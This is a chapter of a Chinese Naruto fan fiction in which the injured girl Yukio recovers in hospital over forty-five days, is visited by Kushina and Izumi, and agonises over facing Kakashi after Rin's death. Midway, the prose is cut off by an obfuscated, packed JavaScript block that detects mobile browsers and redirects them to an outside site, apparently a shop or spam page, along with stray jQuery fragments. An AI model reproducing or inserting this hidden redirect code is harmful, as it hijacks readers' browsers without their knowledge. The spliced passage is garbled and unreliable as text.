55.彼此之间的逃避
作品:《[火影]不能带坏我哥!》 医院的日子很难熬。
不是疼。
那些伤口,换药的时候疼,翻身的时候疼,咳嗽的时候疼。但疼这种东西,忍一忍就过去了。
难熬的是别的。
是躺着不能动。是每天看着同一片天花板。是时间过得太慢,慢得像有人在用指甲一点一点地划。
雪绪躺在病床上,看着窗外的光从早晨的淡黄变成中午的亮白,再变成傍晚的橙红。太阳升起来,落下去,又升起来。一天就这么过去了。
然后是第二天。
第三天。
第四天。
她数着日子。不是因为期待什么。只是习惯了数。
第一天,玖辛奈来了。
她推开门的时候,手里提着一个小篮子。篮子里装着饭团、腌菜、还有一小壶热茶。
“饿了吧?”她笑着问,眼睛弯成两道温柔的弧线。
雪绪看着她,点了点头。
玖辛奈把篮子放在床头的小桌上,扶着她慢慢坐起来。动作很轻,很小心,怕碰到那些伤口。
“来,先喝点水。”
她端着杯子,一点一点喂雪绪喝水。
温水润过喉咙,舒服了一点。
“我自己能喝。”雪绪说。
玖辛奈看着她,笑了笑。
“我知道。”她说,“但让我喂一会儿。”
雪绪没再说话。
只是慢慢喝着水,看着玖辛奈的脸。
那张脸和平时不一样。
不是那种大大咧咧、笑起来没心没肺的样子。是柔和的,温暖的,像妈妈那样。
她想起,自己好像从来没有被妈妈喂过水。
她不知道妈妈长什么样,不知道妈妈的声音是什么样的,不知道妈妈抱她的时候是什么感觉。
但现在,有玖辛奈。
她端着杯子,一点一点喂她。像妈妈那样。
“玖辛奈阿姨。”
“嗯?”
“谢谢你。”
玖辛奈笑了。
“不客气。”她说。
那天下午,玖辛奈陪了她很久。
喂她吃饭,帮她擦脸,给她讲村子里的新鲜事。
“你知道吗,街角那家团子店,老板的儿子结婚了。”
“演习场那边新来了几个小鬼头,闹得可欢了。”
“水门说,前线那边最近消停了些,可能快结束了。”
雪绪听着,偶尔点点头。
那些事离她很远。
团子店,演习场,前线。
她好像都记得。又好像都是上辈子的事了。
玖辛奈看着她,眼神里有一点点心疼。但她没有表现出来,只是继续说,继续笑,继续陪着她。
傍晚的时候,她要走了。
“明天还来。”她说。
雪绪点点头。
“好。”
玖辛奈走到门口,又回头。
“雪绪。”
“嗯?”
“你好好养伤。”她说,“等好了,我带你去吃团子。”
雪绪看着她。
看着那张笑着的脸,她也笑了,很小的笑。
“好。”
玖辛奈走了。病房里又安静下来。
雪绪躺着,看着天花板。
想着明天。
明天,玖辛奈还会来。
第五天,泉来了。
她推开门的时候,雪绪正在发呆。
听见声音,她转头看过去。
泉站在门口,手里抱着一束花。淡紫色的,小小的,不知道叫什么名字。
“雪绪。”她喊她,声音轻轻的,像怕吓到什么。
雪绪看着她。
泉也看着她。
两人对视了几秒。
然后泉走过来,把花放在床头的小桌上。
“给你的。”她说。
雪绪低头看着那束花。
淡紫色的花瓣,细细的茎,有一股淡淡的香味。
“好看。”她说。
泉在她床边坐下。
“你好点了吗?”
雪绪点点头。
“好多了。”
泉看着她,眼神里有一点点心疼。
她比上次见面瘦了。下巴尖了,颧骨的轮廓更清晰了。脸色还是很白,像纸那样白。缠着绷带的手,露在外面的手指细细的,青色的血管隐约可见。
但她的眼睛,还是亮着的。
那种亮,和以前不一样了。
不是玻璃球那种亮。
是别的。
泉说不上来。
“你怎么来了?”雪绪问。
泉想了想。
“想来看看你。”她说,“好久没见了。”
雪绪点点头。
“好久。”
两人沉默了一会儿。
阳光从窗外照进来,落在她们身上。
“学校那边怎么样?”雪绪问。
泉想了想。
“还是那样。”她说,“上课,练习,考试。”
“你成绩好吗?”
泉愣了一下。
然后她微微红了一点脸。
“还行。”
“你脸红什么?”
泉的脸更红了。
“没……没什么……”
雪绪笑得更厉害了。
笑完,她想起什么。
“鼬君呢?”
泉的手顿了顿。
“他……”她顿了顿,“他出任务了。”
雪绪点点头。
“哦。”
泉看着她,想说什么。
但最后只是问:“你想他吗?”
雪绪想了想。
“想。”她说,“想他什么时候能来看我。”
泉听着,心里有点酸。
但她没有表现出来。
只是说:“他一定会来的。”
雪绪点点头。
“嗯。”
那天下午,泉陪她聊了很久。
说学校的事,说同学的事,说那些无聊但有趣的日常。
雪绪听着,偶尔笑一下。
那些事离她很远。
但听着听着,好像又近了一点。
傍晚的时候,泉要回家了。
她站起来,看着雪绪。
“我下次还来。”她说。
雪绪点点头。
“好。”
泉走到门口,又回头。
“雪绪。”
“嗯?”
“你要快点好起来。”她说。
雪绪看着她。
看着那双温柔的眼睛。
“好。”她说。
泉笑了。
然后她推开门,走了。
病房里又安静下来。
雪绪躺着,看着那束花。
淡紫色的,小小的,在夕阳里泛着柔和的光。
她想起,带土哥也经常送她东西。
糖。
很多糖。
那些糖,现在还放在那个小盒子里。
和信一起。
和琳姐的信一起。
她闭上眼睛。
想着带土哥笑起来的样子。
想着琳姐温柔的样子。
想着他们都走了。
想着自己还活着。
活着。
为什么活着?
她不知道。
但既然活着,就要继续活下去。
这是琳姐最后说的。
“好好活着。”
她睁开眼睛。
看着天花板。
天慢慢黑了。
月光从窗外照进来。
她躺着,看着那片月光。
很久很久。
第十天,泉又来了。
这次她带了点心。
糯米团子,撒着黄豆粉,甜甜的。
两人坐着,吃着团子,说话。
“雪绪,”泉问,“你什么时候能出院?”
雪绪想了想。
“不知道。”她说,“医生说还要养。”
泉点点头。
“那等你好了,我们一起去玩。”
雪绪看着她。
“去哪?”
泉想了想。
“去演习场。”她说,“抓鱼。”
“抓鱼?”
“嗯。”泉点头,“你教过我。”
雪绪看着她,忽然想起那天的事。
那时候她还小,刚认识泉。
她拉着泉的手,往小溪边跑。
“来!我教你抓鱼!”
泉被她拉着,跑得有点踉跄。
但她在笑。
雪绪想起那个笑。
现在泉还在笑。
和那时候一样。
“好。”她说,“等好了,去抓鱼。”
泉点点头。
两人继续吃团子。
阳光很好。
病房里暖暖的。
第十五天,泉没来。
雪绪等了一天。
太阳升起来,落下去。
她一直看着门。
但门始终没有推开。
傍晚的时候,玖辛奈来了。
“泉今天有事。”她说,“让我跟你说一声。”
雪绪点点头。
“哦。”
那天晚上,雪绪睡不着。
她躺着,看着天花板。
想着泉为什么没来。
想着她有什么事。
想着她会不会再也不来了。
想着想着,她忽然笑了。
笑自己傻。
泉只是有事。
又不是死了。
她还会来的。
一定会来的。
果然,第十八天,泉又来了。
“前几天家里有事。”她解释。
雪绪点点头。
“没事。”
两人又像往常一样,坐着说话。
吃点心,晒太阳,偶尔笑一笑。
日子就这样一天天过去。
雪绪的身体慢慢好转。
伤口开始愈合,力气开始恢复,能坐起来的时间越来越长。
医生说她恢复得很快。
“这孩子,命硬。”医生说。
玖辛奈听了,忍不住笑。
“命硬好。”她说,“命硬才能活得久。”
雪绪听着,没说话。
但她心里想,什么叫命硬?
是流了很多血也没死?
是睡了一个多月还能醒?
是活着的人一个个走了,她还活着?
她不知道。
只知道活着。
继续活着。
第二十五天,她第一次下床。
扶着床沿,慢慢站起来。腿有点抖,软得像面条。
玖辛奈在旁边扶着,紧张得不得了。
“慢点,慢点——”
雪绪咬着牙,一步一步往前走。
走到窗边,停下来。
扶着窗台,往外看。
外面是医院的后院。
有一棵大树,枝叶茂密。树下有几个病人在晒太阳,穿着病号服,慢慢走着。
阳光很好。
树叶绿得发亮。
风吹过来,带着青草的气息。
她站在那里,看了很久。
“好看吗?”玖辛奈问。
雪绪点点头。
“好看。”
玖辛奈笑了。
“等你好了,就能出去走了。”
雪绪点点头。
“嗯。”
她看着窗外,心里想着,什么时候能好?
什么时候能出去?
什么时候能回家?
回家。
那个词,离她好远。
又好像很近。
第三十天。
雪绪能自己走路了。
能自己上厕所,自己洗脸,自己吃饭。
医生说,再过一段时间,就能出院了。
那天下午,她坐在窗边,晒太阳。
阳光落在身上,暖洋洋的。
她眯起眼睛,像一只慵懒的猫。
门忽然被推开了。
她以为是玖辛奈。
转头看去。
不是。
是护士。
护士走进来,给她换药。
动作很轻,很熟练。
换完药,护士看着她。
“有人来看你吗?”她问。
雪绪愣了一下。
“有。”她说,“玖辛奈阿姨,还有泉。”
护士点点头。
“那就好。”她说,“有人陪着,好得快。”
她走了。
雪绪坐在那里,想着她的话。
有人陪着,好得快。
她有人陪。
玖辛奈每天都来。
泉隔三差五也来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316384|198580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她不是一个人。
但为什么,有时候还是觉得空?
她不知道。
只是坐着,晒太阳。
第三十五天。
泉又来了。
这次她带了一本书。
“给你解闷的。”她说。
雪绪接过书,翻了翻。
是讲忍具制作的书,有图有字,挺有意思的。
“谢谢。”她说。
泉笑了。
两人坐着,看书,晒太阳。
偶尔说几句话。
“泉。”雪绪开口。
“嗯?”
“你有没有见过卡卡西?”
泉的手顿了顿。
她看着雪绪,眼神里有一点点复杂。
“没有。”她说。
雪绪点点头。
没再问。
泉看着她,想说什么。
但最后只是问:“你想见他?”
雪绪沉默了一会儿。
然后她点点头。
“想。”她说,“又不想。”
泉愣了一下。
“为什么?”
雪绪想了想。
“不知道。”她说,“就是……不知道该怎么面对他。”
泉听着,她没有说什么。
只是伸手,轻轻握住雪绪的手。
那只手还是细细的,凉凉的。
“慢慢来。”她说。
雪绪看着她。看着她温柔的眼睛。心里那空落落的地方,好像被填满了一点点。
“嗯。”她说。
晚上,雪绪又睡不着。
她躺着,想着卡卡西。
想着那天他说的话。
“我杀了琳。”
声音很平静。
但那只眼睛里,是空的。
什么都没有。
她记得那个眼神。
那是她第一次看见卡卡西那样。
那个总是懒洋洋的、什么都不在乎的人,眼睛里空了。
像她那时候一样。
像带土死的时候,她那样。
她知道那种感觉。
知道那种空。
知道那种疼。
所以她不怪他。
从来没怪过。
但她不知道怎么面对他。
见了面,说什么?
说“我不怪你”?
说“你还好吗”?
说“琳姐最后……说了什么”?
她不知道。
只是想着。
想着卡卡西会不会也在想她?
会不会也在躲着她?
会不会也像她一样,不知道该怎么面对?
她不知道。
只是躺着。
看着天花板。
月光从窗外照进来。
很亮。
和那天一样。
那天,她躺在地上,流了很多血。
卡卡西抱着她,走了很久。
她不知道。
那时候她昏迷着。
现在她知道了。
是他救了她。
是他抱她回来的。
是他让她活下来的。
她欠他一条命。
但她不知道怎么还。
只是想着。
想着想着,天就亮了。
第四十天。
玖辛奈来的时候,脸色有点不一样。
“怎么了?”雪绪问。
玖辛奈看着她,犹豫了一下。
然后她开口。
“卡卡西……又出任务了。”
雪绪愣了一下。
“哦。”
玖辛奈看着她,眼神里有一点点心疼。
“他……可能一时半会回不来。”
雪绪点点头。
“哦。”
玖辛奈不知道该说什么。
只是坐下,陪着她。
“玖辛奈阿姨。”
“嗯?”
“你说,卡卡西是不是在躲着我?”
玖辛奈愣住了。
她看着雪绪,看着那双亮晶晶的眼睛。
想说什么。
但说不出来。
雪绪继续说:“他一直没有来过。一次都没有。”
她顿了顿。
“我知道他是在躲我。”
玖辛奈听着,心里酸得厉害。
“雪绪,”她开口,“他不是故意的。他只是——”
“我知道。”雪绪打断她。
“我知道不是他的错。”她说,“琳姐求他杀的。他没办法。”
她顿了顿。
“我不怪他。”
玖辛奈看着她。
“那你为什么——”
“我不知道。”雪绪说,“不知道怎么面对他。”
她低下头,看着自己的手。
那双手,曾经救过很多人。
现在只是缠着绷带,什么都做不了。
“见了面,说什么?”她问,“说‘你还好吗’?他不好的。说‘我不怪你’?他不信的。”
她抬起头,看着玖辛奈。
“我不知道该怎么说。”
玖辛奈看着她,眼眶发热。
她走过去,轻轻抱住她。
“慢慢来。”她说,“不急。”
雪绪靠在她怀里,没说话。
只是闭上眼睛。
第四十五天。
医生说她可以出院了。
玖辛奈帮她收拾东西。
泉也来了,帮忙拿东西。
三个人走出病房,走到医院门口。
阳光很好。
晒得人暖洋洋的。
雪绪站在那里,眯起眼睛。
好久没见过这么大的太阳了。
“走吧。”玖辛奈说,“回家。”
回家。
那个词,终于近了。
雪绪点点头。
跟着她们,往外走。
走了几步,她忽然回头。
看了一眼那栋楼。
那个病房。
那扇窗户。
她在那里躺了四十五天。
做了很多梦。
想了很多人。
现在要走了。
她转回头,继续走。
心里想着,卡卡西什么时候回来?
见了面,该说什么?
她不知道。
但总会知道的。

